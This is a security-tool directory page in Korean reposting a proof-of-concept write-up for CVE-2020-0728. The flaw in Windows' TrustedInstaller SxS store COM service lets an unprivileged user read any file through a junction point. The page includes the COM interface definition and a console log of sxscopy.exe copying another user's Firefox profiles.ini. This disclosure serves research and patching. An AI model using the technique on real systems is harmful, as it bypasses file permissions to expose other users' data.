Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-0728 — Proof of Concept code for CVE-2020-0728 | Kitploit
도구/GitHubGitHub/irsl/cve-2020-0728
Privilege EscalationVulnerability AnalysisExploitationPost-ExploitationBinary Exploitation
GitHubirsl/cve-2020-0728

CVE-2020-0728

Proof of Concept code for CVE-2020-0728

저장소 보기
46126년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-0728

세부 사항

TrustedInstaller.exe 서비스는 NT_AUTHORITY\SYSTEM으로 실행되며, Sxs Store Class (3C6859CE-230B-48A4-BE6C-932C0C202048) COM 서비스와 ISxsStore 인터페이스를 호스팅합니다. 이 서비스의 액세스 권한 (O:BAG:BAD:(A;;CCDCLC;;;PS)(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;IU)(A;;CCDC;;;SU))은 로컬 시스템의 모든 사용자에게 액세스를 허용합니다. ISxsStore 인터페이스는 4가지 메서드를 노출합니다:

root@kitploit:~
[Guid("8601319a-d7cf-40f3-9025-7f77125453c6")]
interface ISxsStore : IUnknown {
    HRESULT BeginAssemblyInstall(/* Stack Offset: 8 */ [In] int p0);
    HRESULT InstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_0* p2, /* Stack Offset: 32 */ [In] struct Struct_1* p3);
    HRESULT EndAssemblyInstall(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [Out] int* p1);
    HRESULT UninstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_1* p2, /* Stack Offset: 32 */ [In] int* p3);
}

호출 시, 구현체는 TiWorker.exe(마찬가지로 NT_AUTHORITY\SYSTEM으로 실행)에서 호스팅하는 ICbsWorker 인터페이스를 호출하여 ICbsSession8 세션을 얻은 후, 사실상 동일한 메서드를 이 인터페이스에서 호출합니다. 실제 로직은 sxsstore.dll 라이브러리에 구현되어 있습니다. 권한 부여는 CSxsStore::BeginAssemblyInstall에서 확인할 수 있습니다:

root@kitploit:~
uVar1 = SxspEnsureComClientIsAdmin((void **)this);

이는 CoImpersonateClient 및 CheckTokenMembership 호출을 통해 수행됩니다.

문제는, TiWorker.exe 프로세스가 호스팅하는 세션이 TrustedInstaller.exe 래퍼를 통해 호출될 경우, 구현된 권한 부여 로직이 항상 NT_AUTHORITY\SYSTEM의 연결을 만나게 되어 모든 사용자에게 액세스를 허용한다는 점입니다.

설치를 요청한 어셈블리는 wcp.dll (Windows::COM::CComponentStore::InternalTransact)에 있는 구현에 의해 C:\Windows\WinSXS 아래에 배치되며, 이러한 메서드 호출이 합법적인 대상 디렉토리에서 벗어나는 것을 방지하기 위한 충분한 보안 조치가 있는 것으로 보입니다. 그러나 매니페스트에서 참조되는 소스 파일은 정션 포인트를 통해 악용될 수 있습니다.

이를 악용하여 파일 시스템 DAC를 우회하고 로컬 파일 시스템의 모든 파일을 읽을 수 있습니다. 아래에서 확인할 수 있습니다:

root@kitploit:~
	Microsoft Windows [Version 10.0.18362.592]
	(c) 2019 Microsoft Corporation. All rights reserved.

	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami
	desktop-43rnlku\unprivileged

	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami /priv

	PRIVILEGES INFORMATION
	----------------------

	Privilege Name                Description                          State
	============================= ==================================== ========
	SeShutdownPrivilege           Shut down the system                 Disabled
	SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
	SeUndockPrivilege             Remove computer from docking station Disabled
	SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
	SeTimeZonePrivilege           Change the time zone                 Disabled


	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini"
	Access is denied.


	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>sxscopy.exe "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini" profiles.ini
	sxscopy: C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini => profiles.ini
	Creating helper junction sxscopy.junction -> C:\
	Junction created for sxscopy.junction <<===>> C:\
	Executing DCOM magic with manifest file C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon\sxscopy.manifest
	Exploitation has succeeded, copy of the source file was placed inside WinSXS
	Copy has succeeded!

	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type profiles.ini
	[Install308046B0AF4A39CB]
	Default=Profiles/5bqqo33l.default
	Locked=1

	[Profile2]
	Name=johndoe
	IsRelative=1
	Path=Profiles/5bqqo33l.default
	Default=1

	[Profile1]
	Name=default
	IsRelative=1
	Path=Profiles/x89vbmzf.default

	[Profile0]
	Name=default-release
	IsRelative=1
	Path=Profiles/1kmhc44f.default-release

	[General]
	StartWithLastProfile=1
	Version=2

wcp 프레임워크는 실제로 상당히 복잡하며 다양한 '설치기'(예: '고급' 설치기 중 GenericCommand 실행)를 제공하지만, 위에서 접근 가능한 인터페이스는 '기본 설치기'로 제한되는 것으로 보입니다. CRegistryInstaller::CommitChanges를 실행하도록 트리거할 수 있었는데, 이는 C:\Windows\Logs\CBS\CBS.log에 다음과 같은 로그를 기록했습니다:

root@kitploit:~
2020-01-18 15:58:16, Info                  CSI    0000000c Registry installer wrote xxx values

그러나 실제로 레지스트리에서 무엇이든 변경하는 API 메서드는 전혀 호출되지 않았습니다.

크레딧

위 보고서와 PoC 코드는 Imre Rad가 제출했지만, NCC 연구원들(실제로는 몇 달 전)에 의해 동일한 취약점이 식별되었습니다.

링크

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0728

도구 다운로드